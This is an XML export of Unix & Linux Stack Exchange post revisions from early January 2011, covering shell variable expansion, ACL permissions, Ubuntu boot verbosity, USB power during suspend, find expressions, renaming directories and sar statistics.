  <row Id="12009" PostHistoryTypeId="2" PostId="5391" RevisionGUID="6060aa0b-bc55-4df5-b953-dfaff8f38683" CreationDate="2011-01-04T11:50:41.633" UserId="3069" Text="Use `${ }` to enclosure a variable.&#xD;&#xA;&#xD;&#xA;Without curly brackets:&#xD;&#xA;&#xD;&#xA;    VAR=&quot;foo&quot;&#xD;&#xA;    echo $VAR&#xD;&#xA;    echo $VARbar&#xD;&#xA;&#xD;&#xA;would give&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    &#xD;&#xA;and nothing, because the variable `$VARbar` doesn't exist.&#xD;&#xA;&#xD;&#xA;With curly brackets:&#xD;&#xA;&#xD;&#xA;    VAR=&quot;foo&quot;&#xD;&#xA;    echo ${VAR}&#xD;&#xA;    echo ${VAR}bar&#xD;&#xA;&#xD;&#xA;would give&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    foobar&#xD;&#xA;&#xD;&#xA;Enclosing the first `$VAR` is not necessary, but a good practice.&#xD;&#xA;&#xD;&#xA;For your example:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    WEBSITE=&quot;danydiop&quot; &#xD;&#xA;    /usr/bin/mysqldump --opt -u root --ppassword ${WEBSITE} &gt; ${WEBSITE}.sql&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This works for `bash`, not sure about others." />
  <row Id="12010" PostHistoryTypeId="5" PostId="5391" RevisionGUID="33779599-dca4-4b25-9af9-439bd7b37682" CreationDate="2011-01-04T12:28:14.923" UserId="3069" Comment="more shells" Text="Use `${ }` to enclosure a variable.&#xD;&#xA;&#xD;&#xA;Without curly brackets:&#xD;&#xA;&#xD;&#xA;    VAR=&quot;foo&quot;&#xD;&#xA;    echo $VAR&#xD;&#xA;    echo $VARbar&#xD;&#xA;&#xD;&#xA;would give&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    &#xD;&#xA;and nothing, because the variable `$VARbar` doesn't exist.&#xD;&#xA;&#xD;&#xA;With curly brackets:&#xD;&#xA;&#xD;&#xA;    VAR=&quot;foo&quot;&#xD;&#xA;    echo ${VAR}&#xD;&#xA;    echo ${VAR}bar&#xD;&#xA;&#xD;&#xA;would give&#xD;&#xA;&#xD;&#xA;    foo&#xD;&#xA;    foobar&#xD;&#xA;&#xD;&#xA;Enclosing the first `$VAR` is not necessary, but a good practice.&#xD;&#xA;&#xD;&#xA;For your example:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    WEBSITE=&quot;danydiop&quot; &#xD;&#xA;    /usr/bin/mysqldump --opt -u root --ppassword ${WEBSITE} &gt; ${WEBSITE}.sql&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This works for `bash`, `zsh`, `ksh`, maybe others too." />
  <row Id="12011" PostHistoryTypeId="2" PostId="5392" RevisionGUID="c9309a23-06d1-46e4-a728-190454c67d7f" CreationDate="2011-01-04T12:52:15.330" UserId="305" Text="I know many people use [XMonad][1]. It is highly configurable and scriptable, it integrates with GNOME etc. The only 'disadvantage' is that it uses [Haskell][2], a beatyful but not so popular purly functional language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xmonad.org/&#xD;&#xA;  [2]: http://haskell.org" />
  <row Id="12012" PostHistoryTypeId="2" PostId="5393" RevisionGUID="3aa61a0f-b03d-4c2f-9155-42971c174f88" CreationDate="2011-01-04T14:07:18.710" UserId="3038" Text="If you want to go mouseless, you should try a [tilling wm][1]. Personally, my favorite is Awesome, but there are plenty in that Question.&#xD;&#xA;&#xD;&#xA;As for a composite manager, xcompmgr has already been mentioned, but [Cairo Composite Manager (CCM)][2] seems nice too, although I find it less stable still. As always, YMMV.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/1068/need-advice-in-choosing-a-tiling-wm&#xD;&#xA;  [2]: http://cairo-compmgr.tuxfamily.org/" />
  <row Id="12013" PostHistoryTypeId="2" PostId="5394" RevisionGUID="ad54a281-d81a-485c-a52d-0d9d9b09195e" CreationDate="2011-01-04T15:21:19.150" UserId="3267" Text="I'm using &lt;kbd&gt;Ctrl-P&lt;/kbd&gt; very frequently to scroll backward the command history.  And it's often mistyped as &lt;kbd&gt;Mod4-P&lt;/kbd&gt; which is bound to **Switch Display** function. &#xD;&#xA;&#xD;&#xA;I've searched around `Keyboard shortcuts` and  `CompizConfig` etc. But I couldn't find where &lt;kbd&gt;Mod4-P&lt;/kbd&gt; is defined. " />
  <row Id="12014" PostHistoryTypeId="1" PostId="5394" RevisionGUID="ad54a281-d81a-485c-a52d-0d9d9b09195e" CreationDate="2011-01-04T15:21:19.150" UserId="3267" Text="How to suppress &lt;kbd&gt;Mod4-P&lt;/kbd&gt; to switch display?" />
  <row Id="12015" PostHistoryTypeId="3" PostId="5394" RevisionGUID="ad54a281-d81a-485c-a52d-0d9d9b09195e" CreationDate="2011-01-04T15:21:19.150" UserId="3267" Text="éubuntuàékeyboardà" />
  <row Id="12016" PostHistoryTypeId="5" PostId="5394" RevisionGUID="482810e7-cd2d-4187-bfb0-e60668f941d4" CreationDate="2011-01-04T15:33:15.987" UserId="73" Comment="added 14 characters in body; edited title" Text="I use &lt;kbd&gt;Ctrl-P&lt;/kbd&gt; very frequently to scroll backward in the command history, but I often mistype it as &lt;kbd&gt;Mod4-P&lt;/kbd&gt;, which is bound to the switch display function. &#xD;&#xA;&#xD;&#xA;I've searched around Keyboard shortcuts and CompizConfig, etc., but I couldn't find where &lt;kbd&gt;Mod4-P&lt;/kbd&gt; is bound. What controls that?&#xD;&#xA;" />
  <row Id="12017" PostHistoryTypeId="4" PostId="5394" RevisionGUID="482810e7-cd2d-4187-bfb0-e60668f941d4" CreationDate="2011-01-04T15:33:15.987" UserId="73" Comment="added 14 characters in body; edited title" Text="How to stop Mod4-P from switching the display?" />
  <row Id="12018" PostHistoryTypeId="2" PostId="5395" RevisionGUID="ce0be87b-d762-4902-809f-8b95698d61e4" CreationDate="2011-01-04T15:35:25.960" UserId="3198" Text="I have been using Linux after almost 5 years and observed that boot process has been almost abstracted. I mean, not much is visible to the user what is going on behind the scenes (Due to splash screens etc). Now, this might be good for the end users but not for the geek :)&#xD;&#xA;&#xD;&#xA;I want to bring back the verboseness of old times. Here is what I have done:&#xD;&#xA;&#xD;&#xA;I have been able to get rid of some of it by removing the &quot;splash&quot; and &quot;quiet&quot; parameters from the command line. However, I still cannot see the services being started one by one (like the ones in init.d). &#xD;&#xA;&#xD;&#xA;I assume its because of init daemon being replaced by upstart. Are there some configs file which I can tweak to bring back the verboseness of what is going on.&#xD;&#xA;&#xD;&#xA;Also, as soon as the login screen comes, it erases the boot log history. Is there a way to disable that ?&#xD;&#xA;&#xD;&#xA;Note: I know I can do that by simply switching the distro to Arch or Slackware. But I don't want to do that." />
  <row Id="12019" PostHistoryTypeId="1" PostId="5395" RevisionGUID="ce0be87b-d762-4902-809f-8b95698d61e4" CreationDate="2011-01-04T15:35:25.960" UserId="3198" Text="Removing abstraction from Ubuntu boot process" />
  <row Id="12020" PostHistoryTypeId="3" PostId="5395" RevisionGUID="ce0be87b-d762-4902-809f-8b95698d61e4" CreationDate="2011-01-04T15:35:25.960" UserId="3198" Text="élinuxàéubuntuàébootàéinitöscriptà" />
  <row Id="12021" PostHistoryTypeId="2" PostId="5396" RevisionGUID="d61bca8a-7e66-4d28-95db-32f5230daf09" CreationDate="2011-01-04T16:04:55.917" UserId="3201" Text="Since the same key has bugged me both in Windows (inconveniently switching out of games at the wrong time), and Linux, I have levered off the Keycap itself so I will never accidentally hit it. However, for a less extreme remedy, you should be able to use xmodmap - (oldish) man page http://manpages.ubuntu.com/manpages/hardy/man1/xmodmap.1.html &#xD;&#xA;" />
  <row Id="12022" PostHistoryTypeId="2" PostId="5397" RevisionGUID="ffdea80f-e55a-4984-9730-8b16c5ac6bf8" CreationDate="2011-01-04T16:14:01.710" UserId="2504" Text="I've an issue with files ownerships in unix.&#xD;&#xA;&#xD;&#xA;I have a drupal website and the &quot;files&quot; folder needs to be owned by &quot;www-data&quot; in order to let the users to upload files with php.&#xD;&#xA;&#xD;&#xA;However I'm now using svn and I need all folders and files to be own by &quot;svnuser&quot; in order to work.&#xD;&#xA;&#xD;&#xA;So now, I guess I need to add both users to a group with proper permissions. I'm not sure what exactly to do, could you tell me what are the exact necessary steps ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="12023" PostHistoryTypeId="1" PostId="5397" RevisionGUID="ffdea80f-e55a-4984-9730-8b16c5ac6bf8" CreationDate="2011-01-04T16:14:01.710" UserId="2504" Text="How to assign correct permissions to both webserver and svn ?" />
  <row Id="12024" PostHistoryTypeId="3" PostId="5397" RevisionGUID="ffdea80f-e55a-4984-9730-8b16c5ac6bf8" CreationDate="2011-01-04T16:14:01.710" UserId="2504" Text="épermissionsàésubversionà" />
  <row Id="12025" PostHistoryTypeId="2" PostId="5398" RevisionGUID="823d7746-8179-4515-86ad-7d4b964fd81e" CreationDate="2011-01-04T17:02:55.017" UserId="305" Text="[In other question][1] extlinux have been recommended. It displays meaningful message &quot;Boot error&quot;. Any idea why it may not work or how to debug the problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/5134/305" />
  <row Id="12026" PostHistoryTypeId="1" PostId="5398" RevisionGUID="823d7746-8179-4515-86ad-7d4b964fd81e" CreationDate="2011-01-04T17:02:55.017" UserId="305" Text="Extlinux boot error" />
  <row Id="12027" PostHistoryTypeId="3" PostId="5398" RevisionGUID="823d7746-8179-4515-86ad-7d4b964fd81e" CreationDate="2011-01-04T17:02:55.017" UserId="305" Text="émacintoshàéextlinuxà" />
  <row Id="12028" PostHistoryTypeId="5" PostId="5387" RevisionGUID="41d9e7d2-c3d4-4d24-8a7f-f5f3c084a0f2" CreationDate="2011-01-04T18:49:46.493" UserId="1535" Comment="add info on acpitool" Text="I'd like to maintain power supply to a USB-powered drive when the system goes into suspend (AKA S3 or &quot;suspend-to-RAM&quot;) mode.&#xD;&#xA;&#xD;&#xA;Normally the power is cut while the machine is suspended, which causes it to be dismounted and then remounted when the system is resumed.  This is not really great, especially if the drive itself supports power management.&#xD;&#xA;&#xD;&#xA;Although I could run it on a separate power supply, I'd prefer to have to avoid allocating more wiring for something that can, at least in theory, be done with my existing hardware.&#xD;&#xA;&#xD;&#xA;How can I determine if it is possible to do this with my system, and how can I arrange for a particular USB device, i.e. this enclosure, to always be treated this way?&#xD;&#xA;&#xD;&#xA;I'm running ubuntu 10.10.&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;Discovered [this ubuntuforums thread](http://ubuntuforums.org/showthread.php?t=1446965) which suggests to use `acpitool -w` to determine the available wake-up level for the USB controller.&#xD;&#xA;&#xD;&#xA;Running this on my system shows S1 for the USB controllers:&#xD;&#xA;&#xD;&#xA;    $ acpitool -w&#xD;&#xA;       Device	S-state	  Status   Sysfs node&#xD;&#xA;      ---------------------------------------&#xD;&#xA;      1. LID	  S3	*enabled   &#xD;&#xA;      2. PBTN	  S4	*enabled   &#xD;&#xA;      3. PCI0	  S3	*disabled  no-bus:pci0000:00&#xD;&#xA;      4. USB0	  S1	*disabled  pci:0000:00:1d.0&#xD;&#xA;      5. USB1	  S1	*disabled  pci:0000:00:1d.1&#xD;&#xA;      6. USB2	  S1	*disabled  pci:0000:00:1d.2&#xD;&#xA;      7. USB3	  S1	*disabled  pci:0000:00:1d.7&#xD;&#xA;      8. MODM	  S3	*disabled  &#xD;&#xA;      9. PCIE	  S4	*disabled  pci:0000:00:1e.0&#xD;&#xA;&#xD;&#xA;Which seems to be telling me that wake-up capability can only be enabled for USB in the S1 state.&#xD;&#xA;&#xD;&#xA;I'm not sure how useful this is, since providing full power and allowing wake-up may be orthogonal concerns.  It may be enabling wake-up only provides low power, so there may be a different way to enable full power.&#xD;&#xA;&#xD;&#xA;If turning on wake-up does equate to providing full power, it looks like I may be able to do what I want by putting a USB card in the expansion slot (I guess that's what `PCIE` is?).  Though I think I'd want to know a bit more about this before attempting to excavate a USB2 PC card." />
  <row Id="12029" PostHistoryTypeId="2" PostId="5399" RevisionGUID="ff435cd6-964e-44f4-9b56-143f42699ee2" CreationDate="2011-01-04T19:28:39.330" UserId="3069" Text="`plymouth` handles Ubuntu's splash screen.  &#xD;&#xA;`/usr/share/doc/plymouth/README.Debian` explains how to remove it:&#xD;&#xA;&#xD;&#xA;    There are two methods to disable the splash screen.  Both have the&#xD;&#xA;    same effect.  Your boot will show such messages as are emitted by&#xD;&#xA;    the starting services, and will still be able to prompt if needs be.&#xD;&#xA;&#xD;&#xA;    1) Remove all of the plymouth-theme-* packages from your system,&#xD;&#xA;       including the text ones.  Plymouth will remain installed to&#xD;&#xA;       permit boot-time prompts.&#xD;&#xA;&#xD;&#xA;    2) Remove &quot;splash&quot; from the kernel command-line.  You can do this&#xD;&#xA;       per-boot, or make it permanent by changing the&#xD;&#xA;       GRUB_CMDLINE_LINUX_DEFAULT line in /etc/default/grub&#xD;&#xA;&#xD;&#xA;Note that you have to run `update-grub` after the second method.&#xD;&#xA;&#xD;&#xA;`plymouth` is also responsible for `/var/log/boot.log`.  &#xD;&#xA;More boot messages are available over `dmesg`." />
  <row Id="12030" PostHistoryTypeId="2" PostId="5400" RevisionGUID="db1c3a70-1df4-4a0f-b49a-8545ca95ed32" CreationDate="2011-01-04T19:47:49.040" UserId="885" Text="The easiest way to manage this is with [access control lists](http://en.wikipedia.org/wiki/Access_control_list). They allow permissions to be set for as many users and groups as you want, not just one user and one group like the basic unix permissions.&#xD;&#xA;&#xD;&#xA;ACLs need to be enabled on the filesystem. With ext[234] or reiserfs, you need to pass the `acl` mount option. Also make sure you have the ACL utilities installed (`acl` package on Debian or Ubuntu).&#xD;&#xA;&#xD;&#xA;Set an ACL that allows both users to access the files, and set a matching default ACL on directories (the default ACL is inherited by files created in the directory).&#xD;&#xA;&#xD;&#xA;    setfacl -m user:www-data:rwx -m user:svnuser:rwx -R /path/to/directory/tree&#xD;&#xA;    setfacl-d -m user:www-data:rwx -m user:svnuser:rwx -R /path/to/directory/tree&#xD;&#xA;&#xD;&#xA;You can set different permissions if you like. The executable bit will be ignored if the file is not made executable through the non-ACL permissions (the ones you set with `chmod`).&#xD;&#xA;&#xD;&#xA;The commands given are for Linux. Many other unix variants support ACLs, but the exact set of available permissions and the utility to set them are not standardized.&#xD;&#xA;&#xD;&#xA;You can use groups to control access if you want. Even if you do, ACL have the advantage that you won't run into a umask issue: if you just create a group, you have to ensure that all files and directories are group-writable, which means you have to make sure any process creating a file has a umask of 002 or 007, which in turn may cause permissions elsewhere to be more liberal. So even if you create a group, ACLs are useful.&#xD;&#xA;&#xD;&#xA;    setfacl -m group:mygroup:rwx -R /path/to/directory/tree&#xD;&#xA;    setfacl -d -m group:mygroup:rwx -R /path/to/directory/tree&#xD;&#xA;&#xD;&#xA;Note that I make no warranty as to the suitability of this security model to your use case. I'm just providing an implementation.&#xD;&#xA;" />
  <row Id="12031" PostHistoryTypeId="2" PostId="5401" RevisionGUID="072bbf4f-11cb-45bc-a280-3e7314de6074" CreationDate="2011-01-04T20:08:30.050" UserId="885" Text="You can pass `--verbose` on the kernel command line (replacing `quiet splash`) to make upstart more verbose. See [Upstart debugging](http://upstart.ubuntu.com/wiki/Debugging).&#xD;&#xA;&#xD;&#xA;You can put `console output` in the global configuration file `/etc/init.conf` so that every job has its stdout and stderr connected to the console (by default, they're connected to `/dev/null`). (I'm not sure whether this in fact works; `/etc/init.conf` is not actually documented, I haven't tested if it's read in this way and [this thread](http://www.mail-archive.com/upstart-devel@lists.ubuntu.com/msg00974.html) is not conclusive. Please test and report.) This directive can go into individual jobs' descriptions (`/etc/init/*.conf`) if you want to be selective (some already have it).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12032" PostHistoryTypeId="2" PostId="5402" RevisionGUID="2792be7a-03b1-4cf2-a02a-f32724d6af21" CreationDate="2011-01-04T20:13:57.177" UserId="885" Text="Just concatenate the variable contents to whatever else you want to concatenate, e.g.&#xD;&#xA;&#xD;&#xA;    /usr/bin/mysqldump --opt -u root --ppassword &quot;$WEBSITE&quot; &gt; &quot;$WEBSITE.sql&quot;&#xD;&#xA;&#xD;&#xA;The double quotes are unrelated to concatenation: here `&gt;$WEBSITE.sql` would have worked too. They are needed around variable expansions when the value of the variable might contain some shell special characters (whitespace and `\[?*`). I strongly recommend putting double quotes around all variable expansions and command substitutions, i.e., always write `&quot;$WEBSITE&quot;` and `&quot;$(mycommand)&quot;`.&#xD;&#xA;&#xD;&#xA;For more details, see [$VAR vs ${VAR} and to quote or not to quote](http://unix.stackexchange.com/questions/4899/var-vs-var-and-to-quote-or-not-to-quote).&#xD;&#xA;" />
  <row Id="12033" PostHistoryTypeId="2" PostId="5403" RevisionGUID="39111c47-b3a2-4e00-b856-fda8b177d2e6" CreationDate="2011-01-04T20:17:12.477" UserId="3432" Text="check [scanadf][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.about.com/library/cmd/blcmdl1_scanadf.htm" />
  <row Id="12034" PostHistoryTypeId="6" PostId="5388" RevisionGUID="fe1407a6-8af9-4955-9558-cefd80d98755" CreationDate="2011-01-04T20:17:41.900" UserId="885" Comment="edited tags" Text="ésoftwareörecàéprintingàéscannerà" />
  <row Id="12035" PostHistoryTypeId="2" PostId="5404" RevisionGUID="45a97a1f-2b51-4306-bcc2-3c055b59b014" CreationDate="2011-01-04T20:35:48.540" UserId="885" Text="The unix tradition is for applications that want to call a pager to call **`$PAGER`**, i.e. use the contents of the environment variable `PAGER` as a command name. (Whether shell metacharacters are expanded in `$PAGER` is not consistent between applications.) The unix tradition further uses `more` if the `PAGER` variable is not set. There is a similar tradition for text editors: use `$EDITOR` (or, for historical reasons, `$VISUAL`), falling back to `vi`.&#xD;&#xA;&#xD;&#xA;Having a command named `pager` is specific to Debian (and derivatives, including Ubuntu). `/usr/bin/pager` is in fact a symbolic link to `/etc/alternatives/pager`, which points to the the “best” available pager (the Debian maintainers decide which is best, and the system administrator can override their choice), using the [alternatives](http://wiki.debian.org/DebianAlternatives) framework.&#xD;&#xA;&#xD;&#xA;Debian also provides `/usr/bin/sensible-pager`. This script runs `$PAGER` if the variable is set, and falls back to `pager` otherwise. Its purpose is to be used in programs where a single pager path has to be hard-coded. This behavior is documented in the [Debian policy manual](http://www.debian.org/doc/debian-policy/ch-customized-programs.html#s11.4).&#xD;&#xA;" />
  <row Id="12036" PostHistoryTypeId="5" PostId="5398" RevisionGUID="1ecff035-f892-4ab7-8650-e09de20c57cb" CreationDate="2011-01-04T20:36:49.740" UserId="305" Comment="added 271 characters in body" Text="[In other question][1] extlinux have been recommended. It displays meaningful message &quot;Boot error&quot;. Any idea why it may not work or how to debug the problem?&#xD;&#xA;&#xD;&#xA;**Disk layout:** on /dev/sda rEFIt is installed. /dev/sda4 is / and there is no separate /boot partition.&#xD;&#xA;&#xD;&#xA;**Method of installation:**&#xD;&#xA;&#xD;&#xA;    extlinux /boot&#xD;&#xA;&#xD;&#xA;**extlinux.cfg**&#xD;&#xA;&#xD;&#xA;    DEFAULT Gentoo&#xD;&#xA;    LABEL Gentoo&#xD;&#xA;      KERNEL /boot/kernel&#xD;&#xA;      APPEND -&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/5134/305" />
  <row Id="12037" PostHistoryTypeId="5" PostId="1433" RevisionGUID="97357990-9088-4b52-ab50-f6e18481b821" CreationDate="2011-01-04T20:50:26.440" UserId="1207" Comment="added 54 characters in body; added 1 characters in body" Text="I have had luck using [PowerNap][1] (it is packaged for ubuntu-sever, but the source is there so you should be able to compile it on anything) to suspend backup machines when they aren't doing anything.  However, this won't wake them up automatically.  There is also a PowerWake program bundled with the PowerNap source tarball (packaged as `powerwake` in Ubuntu) that provides a bit of abstraction to the Wake-On-Lan process (makes it easy to send WOL just with the hostname, for instance), but it is still not automatic.&#xD;&#xA;&#xD;&#xA;Edit.&#xD;&#xA;Another Option:&#xD;&#xA;&#xD;&#xA;I don't know much about it because I've never used it, but some cards are capable of waking on any unicast message.  You can see if your card has the capability using [ethtool][2]&#xD;&#xA;&#xD;&#xA;    # ethtool eth0 &#xD;&#xA;&#xD;&#xA;Substitute eth0 for your network device.  Then look at the output for the line starting with &quot;Supports Wake-on:&quot;.  If &quot;u&quot; is listed on that line, then you can do the following at boot(ie, in an init script or something similar):&#xD;&#xA;&#xD;&#xA;    ethtool -s eth0 wol u&#xD;&#xA;&#xD;&#xA;Combined with PowerNap or anything else that puts the machine to sleep under some conditions, this should provide what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/powernap&#xD;&#xA;  [2]: http://sourceforge.net/projects/gkernel/" />
  <row Id="12038" PostHistoryTypeId="2" PostId="5405" RevisionGUID="5fe61088-0e66-4292-9916-b16415f997a7" CreationDate="2011-01-04T21:09:29.527" UserId="885" Text="A good place to read the Linux kernel source is the [**Linux cross-reference (LXR)**](http://lxr.linux.no/). Searches return typed matches (functions prototypes, variable declarations, etc.) in addition to free text search results, so it's handier than a mere grep (and faster too).&#xD;&#xA;&#xD;&#xA;LXR doesn't expand preprocessor definitions. System calls have their name mangled by the preprocessor all over the place. However, most (all?) system calls are defined with one of the [`SYSCALL_DEFINEx`](http://lxr.linux.no/#linux+v2.6.36/include/linux/syscalls.h#L213) families of macros. Since `mkdir` takes two arguments, a search for **`SYSCALL_DEFINE2(mkdir`** leads to the [declaration of the `mkdir` syscall](http://lxr.linux.no/#linux+v2.6.36/fs/namei.c#L2110):&#xD;&#xA;&#xD;&#xA;    SYSCALL_DEFINE2(mkdir, const char __user *, pathname, int, mode)&#xD;&#xA;    {&#xD;&#xA;        return sys_mkdirat(AT_FDCWD, pathname, mode);&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;ok, `sys_mkdirat` means it's the `mkdirat` syscall, so clicking on it only leads you to the declaration in `include/linux/syscalls.h`, but the definition is just above.&#xD;&#xA;&#xD;&#xA;The main job of `mkdirat` is to call [`vfs_mkdir`](http://lxr.linux.no/#linux+v2.6.36/fs/namei.c#L2052) (VFS is the generic filesystem layer). Cliking on that shows two search results: the declaration in `include/linux/fs.h`, and the definition a few lines above. The main job of `vfs_mkdir` is to call the filesystem-specific implementation: `dir-&gt;i_op-&gt;mkdir`. To find how *this* is implemented, you need to turn to the implementation of the individual filesystem, and there's no hard-and-fast rule — it could even be a module outside the kernel tree.&#xD;&#xA;" />
  <row Id="12039" PostHistoryTypeId="6" PostId="5394" RevisionGUID="5a46e6c1-8cd3-484b-86e8-8b0e3b5bb9ae" CreationDate="2011-01-04T21:28:51.763" UserId="885" Comment="edited tags" Text="éubuntuàégnomeàékeyboardöshortcutsàécompizà" />
  <row Id="12040" PostHistoryTypeId="2" PostId="5406" RevisionGUID="c9fde023-26ca-4320-a6f1-4d6b4fef0cdd" CreationDate="2011-01-04T21:31:30.810" UserId="229" Text="I currently have this script:&#xD;&#xA;&#xD;&#xA;    find . -name '*.log' -print0 | xargs -0 tar zcf $file&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To collect all the &quot;*.log&quot; files. I would like to modify it to include also all the &quot;.txt&quot; files but I don't know how, this should be fairly simple right? &#xD;&#xA;" />
  <row Id="12041" PostHistoryTypeId="1" PostId="5406" RevisionGUID="c9fde023-26ca-4320-a6f1-4d6b4fef0cdd" CreationDate="2011-01-04T21:31:30.810" UserId="229" Text="Collect files using find" />
  <row Id="12042" PostHistoryTypeId="3" PostId="5406" RevisionGUID="c9fde023-26ca-4320-a6f1-4d6b4fef0cdd" CreationDate="2011-01-04T21:31:30.810" UserId="229" Text="éfindàéscriptingà" />
  <row Id="12043" PostHistoryTypeId="2" PostId="5407" RevisionGUID="0f80139d-8cf5-4314-99cc-e31c3266940f" CreationDate="2011-01-04T21:34:17.203" UserId="3447" Text="Kind of a shot in the dark, but have you tried clicking on one of the entries, and clicking the Remove button as seen in your screenshot?  If this removes all of the entries, you could just re-add it." />
  <row Id="12044" PostHistoryTypeId="2" PostId="5408" RevisionGUID="66cd5f2e-43e1-46c0-a39b-2b478c70324d" CreationDate="2011-01-04T21:39:14.763" UserId="73" Text="If you use the `-regex` flag instead of `-name` you can specify the name as a regular expression:&#xD;&#xA;&#xD;&#xA;    find . -regex '.*\.\(log\|txt\)' -print0 | xargs -0 tar zcf $file&#xD;&#xA;" />
  <row Id="12045" PostHistoryTypeId="2" PostId="5409" RevisionGUID="9bebd0d1-4137-4410-b80c-a63171c6a953" CreationDate="2011-01-04T21:41:26.230" UserId="1207" Text="There are a number of ways to change your find command.  Here is one:&#xD;&#xA;&#xD;&#xA;    find . -name '*.log' -o -name '*.txt' -print0&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12046" PostHistoryTypeId="5" PostId="5409" RevisionGUID="eb042f5f-61e3-4223-b343-b015785f175a" CreationDate="2011-01-04T21:50:22.383" UserId="1207" Comment="added 228 characters in body" Text="There are a number of ways to change your find command.  Here is one:&#xD;&#xA;&#xD;&#xA;    find . -name '*.log' -o -name '*.txt' -print0&#xD;&#xA;&#xD;&#xA;The `-o` is an OR operator, thus if the first condition fails, the second condition is checked.  If you have GNU find, you can also use the aptly named `-or`.  Note that the second expression is not evaluated if the first holds." />
  <row Id="12047" PostHistoryTypeId="5" PostId="5409" RevisionGUID="5cab9efd-618e-4dd5-9179-f26f9e62f0dc" CreationDate="2011-01-04T22:04:23.497" UserId="885" Comment="fixed example command (concatenation has precedence over -o)" Text="There are a number of ways to change your find command.  Here is one:&#xD;&#xA;&#xD;&#xA;    find . \( -name '*.log' -o -name '*.txt' \) -print0&#xD;&#xA;&#xD;&#xA;The `-o` is an OR operator, thus if the first condition fails, the second condition is checked.  If you have GNU find, you can also use the aptly named `-or`.  Note that the second expression is not evaluated if the first holds." />
  <row Id="12053" PostHistoryTypeId="2" PostId="5412" RevisionGUID="7e8253e6-d24f-4901-964b-f5c4568e3620" CreationDate="2011-01-05T02:34:40.383" UserId="3453" Text="I want to lowercase every directories' name under a directory. With which commands can I do that?" />
  <row Id="12054" PostHistoryTypeId="1" PostId="5412" RevisionGUID="7e8253e6-d24f-4901-964b-f5c4568e3620" CreationDate="2011-01-05T02:34:40.383" UserId="3453" Text="Lowercasing all directories under a directory " />
  <row Id="12055" PostHistoryTypeId="3" PostId="5412" RevisionGUID="7e8253e6-d24f-4901-964b-f5c4568e3620" CreationDate="2011-01-05T02:34:40.383" UserId="3453" Text="écommandölineàédirectoryàérenameà" />
  <row Id="12056" PostHistoryTypeId="2" PostId="5413" RevisionGUID="3770926b-cb65-4a06-b5a2-e3a25bd9ba77" CreationDate="2011-01-05T03:56:10.823" UserId="2180" Text="There isn't a single command that will do that, but you can do something like this:&#xD;&#xA;&#xD;&#xA;    for fd in ./*; do&#xD;&#xA;      #skip if not dir&#xD;&#xA;      [ ! -d &quot;$fd&quot; ] &amp;&amp; continue&#xD;&#xA;      #get lower case version&#xD;&#xA;      fd_lower=$(echo $fd | tr [A-Z] [a-z])&#xD;&#xA;      #if it wasn't already lowercase, move it.&#xD;&#xA;      [ &quot;$fd&quot; != &quot;$fd_lower&quot; ] &amp;&amp; mv &quot;$fd&quot; &quot;$fd_lower&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;If you need it to be robust, you should account for when there is already two directories that differ only in case." />
  <row Id="12057" PostHistoryTypeId="2" PostId="5414" RevisionGUID="7fe93232-8d81-428b-b7ce-5c1b54787960" CreationDate="2011-01-05T06:09:32.557" UserId="29" Text="on our servers, typing `sar` show's the system load statistics for today starting at midnight, is it possible to show yesterdays statistics?" />
  <row Id="12058" PostHistoryTypeId="1" PostId="5414" RevisionGUID="7fe93232-8d81-428b-b7ce-5c1b54787960" CreationDate="2011-01-05T06:09:32.557" UserId="29" Text="How do I get sar to show for the previous day?" />
  <row Id="12059" PostHistoryTypeId="3" PostId="5414" RevisionGUID="7fe93232-8d81-428b-b7ce-5c1b54787960" CreationDate="2011-01-05T06:09:32.557" UserId="29" Text="élinuxàécommandölineàésaràéloadàéstatisticsà" />
  <row Id="12060" PostHistoryTypeId="2" PostId="5415" RevisionGUID="e41a30e3-651e-40ca-a80c-fe71911d36e3" CreationDate="2011-01-05T06:10:17.640" UserId="29" Text="sar - Collect, report, or save system activity information.&#xD;&#xA;" />
  <row Id="12061" PostHistoryTypeId="2" PostId="5416" RevisionGUID="14a2edf5-b8d6-42bc-b30e-70506b1fe1ab" CreationDate="2011-01-05T06:10:17.640" UserId="29" Text="sar - Collect, report, or save system activity information.&#xD;&#xA;" />
  <row Id="12062" PostHistoryTypeId="20" PostId="4936" RevisionGUID="ee2dc495-4f20-4b85-9602-548f3af7e466" CreationDate="2011-01-05T06:51:17.247" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
